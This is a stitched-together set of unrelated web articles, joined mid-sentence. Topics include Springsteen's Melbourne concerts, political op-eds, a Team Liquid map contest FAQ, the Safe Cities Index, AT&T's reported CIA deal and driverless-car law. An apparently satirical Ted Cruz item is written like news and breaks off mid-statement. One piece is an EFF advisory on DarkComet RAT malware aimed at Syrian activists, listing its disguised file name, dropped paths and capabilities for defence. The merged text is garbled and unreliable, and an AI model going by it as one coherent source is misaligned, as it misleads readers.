GENDERMOM lives with her young trans daughter in a large American city and blogs about their life at GenderMom.com.Veteran rocker Bruce Springsteen takes you through what Australian fans can expect during his marathon concerts.
BRUCE Springsteen spent nearly eight hours on stage in Melbourne in just two concerts.
The rocker played for three hours and 24 minutes on Saturday, then three hours and 48 minutes on Sunday, missing an 11pm AAMI Park curfew on both nights.
Springsteen’s long time manager Jon Landau said the band “loved the return” to Melbourne, where the rocker first played at the Showgrounds in 1985 on the Born in the USA world tour.
“They loved AAMI Park. They loved the atmosphere. And most of all, they loved the audience. We all can’t wait for the next time,” Landau said.
Melbourne saw Springsteen play two of his most-loved albums in full, a Boss first for Australia although he has done it in the US and Europe.
Springsteen played 1984’s Born in the USA in full on Saturday and 1975’s Born to Run on Sundayy.
COUPLE TO MARRY AT SPRINGSTEEN SHOW
The musician played the surprise ‘album show’ card to differentiate the Melbourne shows from the ones he played last year.
The Perth and Adelaide shows, where Springsteen was touring for the first time, got a ‘regular’ show.
LISTEN TO SPRINGSTEEN’S HIGH HOPES ALBUM
Boss fans in Sydney and Brisbane are now bracing for their own ‘album’ shows, perhaps of other Springsteen classic albums, to differentiate their 2013 and 2014 tours.
The Melbourne dates continued Springsteen’s increasingly varied setlists for this tour, with 47 different songs played over the two nights in Melbourne, including obscure cover Jole Blon requested by a fan holding a sign.
Springsteen has played 107 different songs in the 11 shows (in Australia and South Africa) on the High Hopes tour so far.
Guitarist Stevie Van Zandt told News Corp that was an E Street band record.
“We’ve done entire world tours doing 140 (different) songs, which is more than most groups, but that’s after 60 shows. We’ve broken 100 (different) songs and that’s impressive, even for us.”
Fans can now download each concert as a permanent souvenir.
SPRINGSTEEN PLAYS 100th SONG IN MELBOURNE
“The audience knows we are creating a show just for them,” Van Zandt said. “People get a memento of their show which is always unique. No two shows are the same. You want the show you were at like an audio T-shirt. I think we’re still getting better. I know it sounds silly to say that after 40 years, but it’s better in many ways.”
The guitarist also said the increasingly lengthy shows were no surprise.
“We started off in the ‘70s doing four-hour shows, so this seems quite civilised. But you’ve got to be in shape to do this show. If you don’t respect the show you will be hurt!”
Van Zandt said playing with extra guitarist Tom Morello was a bonus for fans; Van Zandt missed the last Australian tour to film his SBS TV show Lilyhammer.
“Come one come all,” Van Zandt said. “There’s plenty of room up there. We’re having fun with it, makes it an even four guitars. Everyone does something different. I know it seems a bit of a redundancy going on but it’s actually not. I’m not there to express myself musically. My role is different. I’m the lifelong best friend. We’re coming up on 50 years. That’s its own thing. We work the audience, I’m out there with Bruce every now and then, helping him interact with the audience. Nils (Lofgren) and Tom split up big guitar solos. It seems we’ve added rather than replaced. We’re doing (Ghost of) Tom Joad pretty much every night which we wouldn’t probably do if Tom wasn’t there. Everyone gets their moment to do their thing. It’s more different ways of having fun.”
Eddie Vedder joined Springsteen on Saturday to perform AC/DC’s Highway to Hell and The Boss’s Darkness on the Edge of Town.
After his cameo, Vedder watched the show in the moshpit. The Pearl Jam singer said he was given an endless supply of free beer by fans who recognised him.
“I didn’t want to appear ungrateful,” a hung-over Vedder told the crowd at his Palais show on Sunday night.
Morello posted a photo of him with Springsteen and Vedder out on the town in Melbourne after Saturday’s show.
During his own show, Vedder also pointed out the journey of his first concert being a back row seat to see Springsteen in Chicago in 1977 to singing on stage with him nearly 30 years later.
He covered Springsteen’s Bobby Jean and Van Zandt’s I Am a Patriot at his first Melbourne show.
Springsteen’s next Australian show is Allphones Arena on Wednesday, Hunter Valley shows on Saturday and Sunday and the Brisbane Entertainment Centre on February 26.
He will then play to over 75,000 New Zealanders in Auckland.
Over 200,000 tickets have been sold for his 11 Australian shows on this tour.
###President Barack Obama gestures as he speaks in the Eisenhower Executive Office Building, on the White House campus in Washington, Wednesday, Nov. 28, 2012, about how middle class Americans would see their taxes go up if Congress fails to act to extend the middle class tax cuts. The president said he believes that members of both parties can reach a framework on a debt-cutting deal before Christmas. (AP Photo/Susan Walsh)
I had the honor last week of attending a historic gathering of African-American leaders in Washington devoted to address the "state of black America." More than 60 of America's leading civil rights and community leaders gathered to discuss key issues in the black community as the nation prepares for President Obama's second term.
The meeting was convened by Marc H. Morial, president of National Urban League, Al Sharpton, Ben Jealous, NAACP national president and Melanie Campbell, president of the National Coalition on Black Civic Participation, among others.
The meeting was convened in part to answer the questions that many African-Americans have asked since Election Day: What should a "black agenda" look like in Obama's second term? Many civil rights leaders have said that because African-Americans turned out in historic numbers and overwhelmingly voted for Obama, he should pay special attention to the community's concerns, as he did for other constituencies during his first four years.
"We are taking this from rhetoric to results from people saying that we need an agenda to us sitting down and collectively coming up with one," Sharpton said to the guests.
"There are those left teetering on the precipice of financial ruin and there are some who would ask working, low and middle class Americans to give more," said Morial. "We... urge all leaders involved in these negotiations to move toward a fair and rational approach that preserves the safety nets so crucial to struggling families including Medicaid, Medicare, social security, and support for investments in education, innovation, jobs and infrastructure that will be necessary for real and meaningful recovery."
The leaders said that the administration should promote policies that achieved economic parity for African-Americans, equality in educational opportunity, protect and defend voting rights and develop policies that eliminating healthcare disparities, among others.
"The plight of the African-American community underscores the urgency of our demand," the leaders said in a written statement. "The African-American community was disproportionately battered by the Great Recession, and has benefited the least from the fragile economy recovery. Unemployment remains unacceptably high; income inequality and the ever-widening wealth gap threaten to relegate the black community to perpetual underclass status. Those who wish to curtail investment education and career preparation further dim the prospects for upward mobility for our young people."
All of this sounds great -- in theory. And yes it is important to have an agenda. But one thing is missing: a realistic strategy to combat a reluctant GOP-led House of Representatives. Even in talks regarding the "fiscal cliff" Speaker John Boehner (R-Ohio), has made it crystal clear that he will not cooperate with President Obama. So can we believe that the lofty policy goals for black America have a chance as well?
For example: The Republicans for weeks have called the president's position on fixing America's fiscal woes as a "non starter" or the disrespectful "their La-La-Land offer" when referring to the White House plan. It appears they plan to duplicate the same level of resistance they gave in the first term.
Meanwhile, the GOP provided a counter proposal which offers $2.2 trillion in debt reduction, increases Medicare eligibility age, and puts social security cuts on the table. They also proposed to lower tax rates for the "1 percent." I don't know if Speaker Boehner and the GOP simply didn't get the memo that Mitt Romney didn't actually win the election, but this approach is the opposite of the "black agenda" laid out by Sharpton, Morial and others.
And the fact that public opinion appears to be on the president's side isn't helping matters. According to a Washington Post/Kaiser Family Foundation poll, 82 percent of Americans oppose reducing social security benefits, 67 percent oppose raising Medicare eligibility age and 60 percent support raising taxes on the wealthy.
This hints at the fact that the majority of Americans do not agree with what Boehner is proposing.
It's not just African-Americans who the GOP have it out for, by the looks of this counter proposal and their continuous rhetoric, they want to throw the entire middle class, the elderly, women, college students, all minorities, and the rest of the 99 percent right off the "fiscal cliff"
We have all identified the bad guy and it's not President Obama.
(Important to note that noticeably absent in this meeting was Dr. Cornell West and Tavis Smiley.)
But make no mistake this was no "Team Obama" cheering section meeting. They were extremely critical while at the same time cognizant of the obstacles (such as Congress and Speaker Boehner) that the president has had to deal with. And despite those obstacles what he has been able to accomplish. (Job creation, health care reform, Lily Ledbetter Fair Pay Act, creating more private sector jobs in 2010 alone then the entire Bush years, Hire Act, immigration reform etc., etc.).
It wasn't about simple criticism for the sake of criticizing. It was about how to bring about real change that is tangible to the community; anyone can simply criticize and say that President Obama isn't doing enough.
The question I had for the over 60 civil rights leaders after I personally witnessed them lay the foundation for a specific "black agenda," was how do we defeat the opposition when it appears as though they would rather see President Obama fail then to see America succeed? I posed this to the group as they were addressing the media and this is how Marc Morial responded to my direct question:
The president is going to continue to face resistance from many forces in this country. What we're going to do is re vamp our efforts to push in a very unified and forceful way. We should not be in any way confused that much of the resistance he faced is going to try to resurrect itself. But let's be candid, election results matter the efforts to resist the president while they may have stopped The American Jobs Act and a number of other things from taking place, they didn't prevent his re-election. And I think it is very important that with every new pesidential term, there is the opportunity for a new start. We want to be there at the very beginning saying that while the economy is beginning to recover, the African-American community and urban communities are still left far behind. And it is important to recognize that it is going to take efforts of a strong and focused and yes targeted to be able to address that.
I asked Michael Eric Dyson after if he could expound on my question and this was his answer:
How do you get across the hurdle of someone like Speaker Boehner who wants to do everything in his power to make sure the president does not succeed? We must leverage the power of our democratic witness as ordinary citizens by flooding our Congress people's offices with phone calls, emails, and social media posts. We must let them feel our outrage and our disagreement with their willingness to hold the country hostage to their narrow beliefs and rigid ideologies. We must support President Obama's efforts to resist Republican plans and policies that transfer more resources to the wealthy while taking money from the middle class, working class, working poor and the abject poor. We must encourage the president to expend the significant capital he generated in the last election on the masses of Americans -- especially African-Americans, Latinos, young folk and women -- who stood by him and were largely responsible for his reelection. What Republicans call social entitlements -- with little sense of irony or contradiction, since they don't mind distributing all sorts of corporate welfare to their wealthy cronies -- are in fact strong threads of the social safety net that the masses helped weave with their labor and taxes. We must win the intellectual, rhetorical and political battle by pressing the case on all fronts to the American public.
This meeting was an excellent start, it will be interesting to see where it goes from here. I hope for the sake of African-Americans and all minorities, teachers, single mothers working two jobs to make ends meet, firemen, construction workers, receptionists, farmers, Joe the plumbers, high school coaches, laid off employees, college students and the rest of the 99 percent, their efforts prove to be effective.
Photo credit: Kendall CrabtreeRep. Steve King (R-IA) continued to defend his assertion that the vast majority of young undocumented immigrants are drug smugglers “with calves the size of cantaloupes,” telling Mike Huckabee today that his remarks were no different than complimenting the body of an Olympian.
The Iowa congressman said there was nothing inaccurate or wrong about his claim that “for every one who’s a valedictorian, there’s another hundred out there who they weigh 130 pounds and they’ve got calves the size of cantaloupes because they’ve been hauling 75 pounds of marijuana across the desert,” insisting that “if I offended anybody I didn’t do a very good job of it, but it should’ve been offensive perhaps to drug smugglers but no one else.”
“They’re not just making one trip across the border with 75 pounds of marijuana but it is multiple trips,” King said, “they’re in physical shape for that, just like you can see in an Olympic athlete, that would be obvious to us and I don’t think that would be denigrating.”
He went on to claim that immigration reform legislation “guarantees the permanent destruction of the rule of law, at least with regard to immigration, as far as I can imagine into the future.”Ted Cruz Replaces Daughter for Presidential Campaign Run
Ten days after taking the stage at Liberty University with his family to announce his candidacy for president, Ted Cruz has announced he will replace his 5 year-old daughter Caroline for the duration of his campaign.
The announcement of the switch was made shortly after the Republican Senator appeared at a fundraiser with his new daughter, a pretty, effervescent girl named Maria Alejandra.
A statement issued by the Cruz campaign read, in part |
, so we will need to open many of them up in order to check for details that we can't find otherwise. To send your maps, upload them to a file hosting service such as Mediafire or Dropbox and include the link in your entry.
Q: I want to enter a team map/FFA map into the contest.
The Team Liquid Map Contest has traditionally allowed team play maps to be entered and evaluated separately from 1v1 maps, and some of these submissions did eventually reach the ladder map pool. Unfortunately, this season we will not be considering team play maps submitted to the contest. If you're really passionate about making high quality team play maps then we strongly encourage you to post your work in our Maps and Custom Games forum.
Q: Will the winning map automatically be included in WCS?
No. A list of the top maps will be submitted to Blizzard for consideration for use in WCS/ladder. At least two of the shortlisted maps will be selected for use on the ladder. It's possible that the winning map just isn't what Blizzard is looking for next season, and may decide to choose another map.
Q: I'm also submitting a map to Mapximum Season 2, can I submit the same map?
Absolutely! We at Team Liquid are really grateful for the work put in by the Korean mapping scene and the fact they are reaching out to our community with Mapximum. Indeed, if you're preparing a map for TLMC we encourage you to also submit your map to Mapximum. We look forward to seeing the similarities and differences between the maps selected by our respective competitions!
Q: How crazy can my maps be?
Maps need to be ladder appropriate. This means that features requiring specialist knowledge (rising lava, geysers used to block ramps, etc.) will not be accepted. If your map passes that test and complies with the guidelines above then your map is acceptable! Of course, if you are concerned that your map may not be suitable for ladder then please PM Plexa or The_Templar and they will tell you whether or not it is appropriate.
Q: I’m interested in the contest, but I’m horrible at map making. What can I do to support the mappers?
Post in their map threads and give them support, encouragement and replays on their maps! Giving your favorite mapper support will be much appreciated by the mapper. Replays are especially valuable as it helps the mapper align their design goals with the map with the reality of how people play their map.
Q: What are the prizes for this contest?
At the moment prizes beyond being considered for WCS/ladder use have not been confirmed. Once we receive updates on this we will communicate this information.
If you have any unanswered questions please do not hesitate to ask them below or PM Plexa or The_Templar who will be happy to answer them. Best of luck in the competition.
Administrator ~ Spirit will set you free ~Tokyo, the world's most populated city, is also the safest according to a 2015 Safe Cities Index by The Economist.
The index, which looks at digital security, health security, infrastructure safety and personal safety, ranks the Japanese capital ahead of Singapore second and Osaka third. European capitals Stockholm and Amsterdam complete the world's top five safest cities.
Australia's most populous city, Sydney, just missed out the top five (by less than a point) coming in at number six in the Index. The habour city was followed by Zurich in seventh place and Toronto in eighth. The world's friendliest city and arguable Australia's "hippest" city, Melbourne, was named the ninth safest city in the world.
Only one USA city made the top 10 in the Index; the city that never sleeps – New York – rounded off the top 10.
On the other end of the scale, Jakarta, with an urban population of over 10 million ranked at the bottom of the list of 50 cities in the Index. Cities which also tipped the other end of the scale from 45th to 49th spots, respectively, are: Mexico City, Riyadh, Johannesburg, Ho Chi Minh City and Tehran.
The Index noted that people living in Mexico City felt as safe as residents living in Zurich. By comparison, it noted in US cities people tend to be more fearful even though its cities ranked at the upper end of the Index.
Tokyo scored the highest in the digital security category, but that category was dominated by US cities: New York, Los Angeles, San Francisco and Chicago making the category's top ten. By contrast European cities performed poorly, with London at 16, being the highest-ranking European city in the digital security, and Rome is the lowest, at 35.
Tokyo, with a population of 38 million people according to the UN, proves that megacities can be safe cities. The five other megacities that made the top half of the Index include: Osaka, New York, Los Angeles, Paris and London.
Apart from Buenos Aires, the remaining 14 megacities ranked in the lower half of the index are all in countries with emerging economies. These include Brazil, Russia, India, China, Mexico, Indonesia and Turkey.
However, being among the safest cities in the world doesn't necessarily equate to being the best city in which to live. Tokyo was ranked at 16 when it comes to the question of the best place to live. That title goes to hockey-loving nation, Canada, with Toronto named the best place to live, followed by Montreal.
European cities Stockholm and Amsterdam, the only two cities to make the top five in the overall Index, came in at three and four, with San Francisco rounding up the top five. Melbourne came in at six, with Sydney at nine after Zurich and Washington DC. Despite its gritty reputation, Chicago made the top 10 best places to live (at number 10).
TOP 20 CITIES: SAFE CITIES INDEX 2015
1. Tokyo
2. Singapore
3. Osaka
4. Stockholm
5. Amsterdam
6. Sydney
7. Zurich
8. Toronto
9. Melbourne
10. New York
11. Hong Kong
12. San Francisco
13. Taipei
14. Montreal
15. Barcelona
16. Chicago
17. Los Angeles
18. London
19. Washington DC
20. Frankfurt
Safe Cities Index 2015 is an Economist Intelligence Unit report. To read the full report and the complete Index ranking, click here.
TravellerSince the beginning of the year, pro-Syrian-government hackers have steadily escalated the frequency and sophistication of their attacks on Syrian opposition activists. We have reported on several Trojans, which covertly install spying software onto the infected computer, as well as phishing attacks which steal YouTube and Facebook login credentials.
The latest surveillance malware comes in the form of an extracting file which is made to look like a PDF if you have file extensions turned off. The PDF purports to be a document concerning the formation of the leadership council of the Syrian revolution and is delivered via Skype message from a known friend. The malware installs a remote administration tool called DarkComet RAT, which can capture webcam activity, disable the notification setting for certain antivirus programs, record key strokes, steal passwords, and more. It sends this data back to the same IP address in Syrian IP space that was used in several previous attacks, including the attacks reported by CNN in February, the Xtreme RAT Trojan EFF reported in March, and this sample from March 21st.
Syrian Internet users should be extremely cautious about clicking on suspicious-looking links, or downloading documents over Skype, even if the document purportedly comes from a friend.
The screenshot below shows the file with the fake Adobe icon.
The self-extracting file is named:
ورقة حول مجلس القيادة_asrcs.fdp.scr
On extraction, it performs several actions, including opening a PDF file, which you can see in the screenshot below.
The screenshot below shows the other files that are dropped:
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\(Empty).lnk
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\ورقة حول مجلس القيادة.pdf
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Explorer.exe
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msdlg.ocx
Additionally, after you start typing, it creates a keylogger directory:
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\dclogs
The screenshot below shows process that indicates the DarkComet RAT is running on your computer. Go to your Windows Task Manager by pressing Ctrl+Shift+Esc and click on the Processes tab. The process is called svchost.exe and runs under your username. In this example, the user is Administrator.
The screenshot below shows the empty start-up link which is created by the Trojan.
As of Wednesday April 4th, this Trojan is not detected by any anti-virus program. However, it is detectable by the DarkComet RAT removal tool, written by the same developer that originally wrote DarkComet RAT. The screenshot below shows the removal tool detecting DarkComet RAT on an infected computer. The YouTube phishing attack also installed DarkComet RAT and is detectable via the DarkComet RAT removal tool DarkComet RAT Remover v1.0.
EFF is deeply concerned to see targeted attacks on Syrian Internet activists continue. We are even more concerned by evidence suggesting that a subset of the attacks are being carried out by the same individual or group somewhere inside of Syria. We will continue to keep a close eye on developments.Last year's report from the Truth and Reconciliation Commission recommended a compulsory course in aboriginal history and culture for all students of social work, medicine, nursing, law and journalism. The University of Winnipeg and Lakehead University have taken that idea a step further and made a course mandatory for all students.
But not everyone is sold on the idea. Will Landon, the aboriginal student representative for the University of Manitoba Students' Union, says the courses could do as much harm as good if not handled well.
"My biggest concern is what I see with other mandatory courses, so people who just take their math and sciences just to get it over with," he says. "If it's not done properly... people who walk out of these courses will be able to sort of wash their hands and say oh, I took an indigenous studies course and be able to just kind of say whatever they want after that, and not really understand the knowledge that's been given to them."
Landon argues universities should consider integrating indigenous knowledge and ways of learning into courses across disciplines, rather than focusing on one mandatory course.
"In my personal opinion, the Western paradigm of education needs to make way for how we would treat knowledge and how we teach it, so that it would make way for our traditions, our protocols, our way of knowing," he says. "It has to be done in such a way that it relies on us as indigenous [people] to use our skills and our mindset and our traditional ways to pass on that knowledge."
Click on the button to hear the interview.RSS office at Keshav Kunj is a cluster of low buildings spread over 2.5 acres in Delhi’s Jhandewalan. (Express photo by Prem Nath Pandey)
Its design has been cleared, requisite approvals from municipal authorities have been in place for more than a year, and come October 3, Vijayadashami day, the RSS plans to mark its 89th anniversary by laying the foundation stone for a new 10-storey headquarters that will replace its current office in Jhandewalan in the capital.
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The cluster of low buildings spread over 2.5 acres in Keshav Kunj (named after founder Keshav Baliram Hedgewar) that have housed the RSS head office for over five decades will be torn down.
The Indian Express has learnt that the process has begun for occupants to move to temporary accommodation for an estimated three years while the new office is built. A school on the premises has been vacated to house RSS office-bearers for the time being.
The new complex will have parking space for 400 cars. A senior RSS pracharak said: “Planning has been on for many years. Now almost all preparations are done. The design is approved, and once all occupants move, we will start construction.”
Sources said that for years, Sah-sarkaryavah Suresh Bhaiyyaji Joshi has been discussing the need for more office space on the premises. Nitin Gadkari, during his stint as BJP president, was said to have advised the Sangh to “reconstruct” the office. The RSS deputed one of its pracharaks, Ravindra, to look after construction-related work.
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Sources said the new office would accommodate all RSS units currently housed in Keshav Kunj. These include publications Panchajanya and Organiser, along with Suruchi Prakashan, Sanskrit Bharati, Seva Bharati, Bharati Itihaas Sankalan Samiti, and the RSS’s international affairs wing.Here’s the story of how a couple of punk American drifters got to roast the tires of a brand new Charger Hellcat, thanks to one German journalist and not the explicit consent of Dodge itself.
Everything starts with a little race track in New Jersey: Raceway Park in Englishtown. You’ve seen the track before here on Jalopnik and on AutoBlog, along with Club Loose. They’re the tatted up, flame-spitting, tire shredding kids who run there and train the best drifters in the country.
Not only have you seen these guys, but so has Robin Hornig. What’s important about Robin Hornig is that he works for the German car magazine AutoBild, that he was in the area with a film crew for the New York Auto Show and a few driving segments, and that he had a Dodge Charger Hellcat on loan from ChryslerCorp for the trip.
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[Photo Credit: Jonathan Boulton]
Robin knew that Club Loose was having their first event of the 2015 season over the weekend and came over to check things out. He figured he would just get some shots of the Hellcat with the road course in the background. You can see him with his camera guy above doing just that.
Then Club Loose stepped in.
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[Photo Credit: Jonathan Boulton]
“Robin and his film guy asked to get some video and audio with the track in the background,” Club Loose media guy Tim Connolly explained to me. “When I swooped in as the right contact, I flat out asked, can we drift it?”
Things got better from there.
Guys were like, sure, as long as we had competent driver. I asked [NAME REDACTED] first, since he was nearby. Then [OTHER NAME REDACTED] strolled by and was like, “I wanna drive it” lol. Was kind of smooth sailing with the Auto Bild gents. I worked out hand signals with [REDACTED] and [REDACTED] to make sure the Germans were set with video and audio before the guys gave it the gas. The whole thing took maybe 15 minutes of track time and then the AutoBild guys did their things around the track for filming.
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I have redacted the names of the two drivers at the request of Robin (“let’s keep it mysterious how the Hellcat get on the track and who drove it,” he told me), but I can say that they’re some of the most skilled drifters in the country.
[Photo Credit: Jonathan Boulton]
Also, one of them has the best helmet visors in the world, if you look close and read it right.
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Here’s the final kicker — Dodge had no idea this was going on.
Robin and I managed to talk over the phone, and we talked mostly about how the guys over at Englishtown really are the best. Then he gave me a few choice words about the car and his side of the story.
Robin explained that in Germany, testing cars like this is totally ordinary, but things may be a little different in the States.
Normally they know we do something like burnouts and drifting. I don’t know how they will act in the USA.
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Of course, it can’t really be a surprise to Dodge. What else is going to happen when you loan out a Hellcat?
I for one, am glad Robin got to see the car in action. He pointed out that the suspension is actually quite good. It’s not too hard, not too soft. It works on the highway and it’s still good enough for the track. Here’s the car pitching in to the hairpin so you can see what he means.
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[Photo Credit: Tim Connolly]
And you know, there’s more than enough power from the 707 HP supercharged V8, but anyone can see that.
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[Photo Credit: Tim Connolly]
But there’s something more about the car that even a German, a guy from the country that invented the fast family sedan, can appreciate.
You can’t compare this to something like the M5. For [the Hellcat’s] money, you will never get such a funny car. Ever. No car in Germany compares to it that is so much fun.
Now we just need to get a Hellcat over to Germany and the unrestricted Autobahn to see about that 204 MPH top speed.
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[Photo Credit: Tim Connolly]
Dodge, want to help out with that one? Feel free to give me a call.
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[Photo Credit: Tim Connolly]
All Photo Credits: Jonathan Boulton (topshot and otherwise where noted) and Tim Connolly (where noted).
Author’s Note: Many thanks to Kevin Johnsrud for helping this story together. Thanks to Jonathan Boulton for the pictures and Tim Connolly for the pictures and the words. Thanks to Robin Hornig for his support on this story. Check out his article (“Bad Has Never Been So Good”) on AutoBild with pictures and wonderful descriptions RIGHT HERE. Seriously, it’s excellent.
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And many thanks to Club Loose, the Bloodmasters, and Raceway Park for being generally awesome and very much The Greatest Place On Earth.OPINION
There are 67 sovereign states which recognize English as their official language. Among the 67 states, 36 countries use English as the only official language, while 31 countries recognize English as one of the official languages.Those countries recognizing English as the only official language are either the countries whose majority of the people are English-speaking ethnic groups or are former colonies of the U.K. and are populated by one dominant language group or equally numerous language groups. Those countries recognizing English and one or more native tongues as official languages are those countries that were colonized by more than one Western state and are populated by one dominant native language group or more equally numerous native language groups.In the contemporary world, English has become a national and global lingua franca. It is used as the oral and written means of communication in most international governmental and nongovernmental organizations; international business transactions; academic and research institutions; and cultural, sports and entertainment activities and forums.On the eve of the new millennium, I wrote an article titled “21st Century Resolution: Open Nationalism” in a local English newspaper. In the article, I proposed that English should be considered as second official language of Korea. But this idea has not been discussed in any public forum.My proposal is not to replace Korean as an official language but to recognize English as second official language, while keeping Korean as the primary official language. Korea has an urgent need for English as second official language. Fortunately, Korea has advantages over other non-Western countries because most former Western colonies are faced with great difficulties in adopting English as an official language mainly because they are multi-ethnic countries and different ethnic groups will not tolerate any other native or foreign language as an official language.The Korean people are a homogenous ethnic group and in possession of one of the best languages in the world. South Korea is now an economically developed country and is willing to accept Western civilization. In these two respects, Korea has not been able to overcome the dilemma created by modernization and Western civilization. Korea has been making all-out efforts to catch up with Western developed countries but has not been successfully competing with them on equal terms. The language is one of the barriers. On the other hand, Korea has been accommodating the Western way of life without anticipating the conflict between the Western and Korean ways of life. Koreans have eagerly and gluttonously accepted the materialistic aspects of the Western way of life but have ignorantly rejected or misinterpreted essential Western values such as individualism, rationalism and the rule of law. As a result, their communalistic way of life has turned into a highly selfish and greedy one, while keeping intact their traditional values such as authoritarianism and irrationality.If all Koreans become proficient in English, they will be fully able to understand the true meaning of Western values. As far as Korea is concerned, the debate on whether non-Western states should or can pursue complete Westernization, partial Westernization, homogenization or coexistence is no longer a realistic one. The question is how fast it can accommodate Western values. Western civilization is the most powerful moving force for modernization and is becoming a universal civilization.From a practical and short-term perspective, Korea would benefit greatly by adopting English as second official language. First, all government officials could learn more, better and more quickly about their counterparts in the international arena. They would also have a better chance of playing a leading role at international conventions and organizations and to enhance not only the prestige of Korea but also its influence on important international issues. The Koreans who are fluent in English would have better opportunities to be employed by international governmental and nongovernmental organizations and could contribute more to world peace and development. On the other hand, Korean NGOs could be internationalized.Second, Korean business organizations could get more involved in joint programs and activities with their foreign counterparts. It would also be easier for them to gain new knowledge and information more easily as well as play a leading role in any capacity.All foreign business organizations operating in Korea, whether they are from English-speaking countries or not, would also benefit from Korea’s two official languages policy. The same would be true of international governmental and non-governmental organizations operating in Korea.Third, Korean academic, arts and sports organizations could more actively participate in their respective international conferences and activities. In particular, the Korean sightseeing business will greatly benefit from this dual official language policy. Finally, Korean educational institutions would benefit greatly. It could produce more competent and internationalized students and attract more foreign students and scholars. Most importantly, the educational gap between students from rich and poor families would be greatly reduced because all students would learn both the dual language and non-language courses at all levels of schools.There are two objections to this dual official language policy. One is that the dual language policy is likely to make people less nationalistic and more sycophantic toward Western countries and peoples and ultimately lose their national identity. This criticism is a serious one. But as long as Koreans place more importance on the Korean language than any foreign language and maintain their ethnic homogeneity, it will not weaken the Korean national identity. The next important question is how it should be implemented. I suggest the following:First, government, business, arts, academic and research organizations can start the dual language policy sequentially rather than simultaneously.Second, the starting grade of teaching both Korean and English can be the first grade of elementary schools. On the other hand, the secondary and tertiary educational institutions could offer some non-language courses in both Korean and English, and students would allowed to choose them. However, no public educational institutions should offer non-language courses only in English unless it is necessary due to the nature of the specific courses.If Korea accelerates the civilization of Korean society through a dual language policy, it will be able to civilize its society faster than Japan or Singapore. By doing so, Korea will become the first non-Western advanced state (a democratized, developed and civilized state).By Park Sang-seekPark Sang-seek is a former rector of the Graduate Institute of Peace Studies, Kyung Hee University, and the author of “Globalized Korea and Localized Globe.” --Ed.AT&T may have committed itself to publishing periodic transparency reports, but here's one thing those disclosures won't cover: secret deals between the company and the Central Intelligence Agency, which the New York Times has reported amounted to $10 million in annual federal payments. The arrangement had AT&T handing over phone numbers and call records to spies, according to the Times.
Since the CIA isn't considered law enforcement, its relationship with telcos would mostly evade the sunlight that these transparency reports are meant to provide. In light of that, consumer advocates have come up with another tactic: going through telecom regulators.
The Federal Communications Commission has taken up a petition from a bevy of advocates headed by the interest group Public Knowledge. The petition, filed with the FCC on Dec. 11, urges the regulator to classify the anonymized metadata that AT&T reportedly gave the CIA as a type of privileged information subject to consumer protection law.
There are strict rules about when a phone company can give out this information in a non-anonymized format. This generally only applies when it comes to telemarketers who want to share or sell the data to somebody else; they're not allowed to do that unless the customer consents or asks for the data to be shared.
But anonymized metadata is treated differently. The privacy policies of the four major carriers claim the right to share consumer metadata when it's gone through a de-identification process. In the case of the CIA, AT&T reportedly blocks out several digits of each phone number so that it's harder to link the number to a person. According to the consumer advocates' petition, however, the same rules that apply to non-anonymized metadata should still apply to de-identified metadata, given that the government evidently finds it useful for identifying terrorism suspects.
"The carriers’ methods of 'anonymization,' as reported in the media, may be vulnerable to're-identification,'" the petition reads, "that is, a process that reveals the true identities of individuals in an allegedly 'anonymous' dataset."
If the FCC ultimately agrees that anonymized and non-anonymized data should be treated the same by law, it would become illegal for phone companies to sell or share anonymized metadata without consumers' consent. By opening up the issue to public comments, the FCC has implied it's taking the advocates seriously. So far, none of the carriers have filed responses. I've reached out to them for comment and will update if and when they reply.In 1941, Orson Welles made his debut as a feature film director with “Citizen Kane,” a fact well known to everyone who has ever taken Film 101.
Less well known is that “Kane” wasn’t Welles’s debut as a filmmaker. That distinction belongs to “Hearts of Age,” an eight-minute parody of an avant-garde allegory that Welles, as the world’s most precocious teenager, codirected with a friend, William Vance, at the Todd School for Boys in Woodstock, Ill. Amazingly, that 1934 effort, in which Welles wears old-age makeup that anticipates the elderly Kane, has survived, and can even be seen on YouTube.
But neither was “Kane” Welles’s first professional encounter with the cinema. That happened three years before his Hollywood debut, in the form of about 40 minutes of footage intended to be shown with “Too Much Johnson,” a revival of an 1894 farce that Welles intended to bring to Broadway for the 1938 season of his Mercury Theater.- Imagine walking down the street and noticing a raccoon in the window of your bank. That is exactly what happened to one Queens resident. On his way home on Monday evening, Marc Elkaim passed a closed Chase branch on Queens Boulevard in Forest Hills and noticed a raccoon in the window taking refuge from the frigid temperatures.
But of course the raccoon, which reportedly got in through an opening in the roof, did not belong there, so Elkaim's wife called Chase to let them know about their uninvited visitor.
Then they reported the intruder to 911. By Tuesday, a trapper captured and carted away the critter. The trapper released the raccoon on private property a few miles away.
We reached out to Chase, but have not heard back.Ministers are rewriting the Highway Code to allow driverless cars on Britain’s roads.
The law is inadequate for the new generation of vehicles being developed in the US and Britain that will pilot themselves.
Google has unveiled a computerised self-driving car, which has no steering wheel, brake or accelerator, just buttons to start, pull-over, stop and a computer screen to show the route. It navigates by GPS and Google Maps.
Google plans to have prototypes ready to test in California later this summer and says the goal is for the car to “shoulder the entire burden of driving”.
Meanwhile, academics from Oxford University’s department of engineering science are developing a car that can memorise a route, such as a school run, by “recognising” its surroundings. It can offer to engage auto-pilot when it runs that route again, with the driver regaining control with a tap of the brake pedal.”
In California, the Department of Motor Vehicles is expected to issue the first licences for self-driving cars and their human pilots in September.
Mr Willets told the Mail: “You need a regulatory regime so that these are permitted."
“What America is going to have is a legal regime in California that permits you to travel in one without requiring someone in the so-called drivers seat.
“Certainly there are new regulations being drafted in California and obviously this is something I have discussed with the Department for Transport, we are aware of it.
“We need to work on these type of regulations so that as the technology develops in Oxford and elsewhere we can see them used.”
The Government’s infrastructure plan commits to reviewing the law to “ensure there is a clear and appropriate regime for the testing of driverless cars that supports the world’s car companies to come hand test them here.”
Britain will also benefit from recent changes to the United Nations Convention on Road Traffic, which dates back to 1968.
It used to state: 'Every driver shall at all times be able to control his vehicle or to guide his animals.'
An amendment agreed last month would allow a car to drive itself, as long as the system 'can be overridden or switched off by the driver'.The only tool that you’ll need for this procedure is a small-medium phillips-head screwdriver.
REMOVE THE BLACK HARD DRIVE PANEL
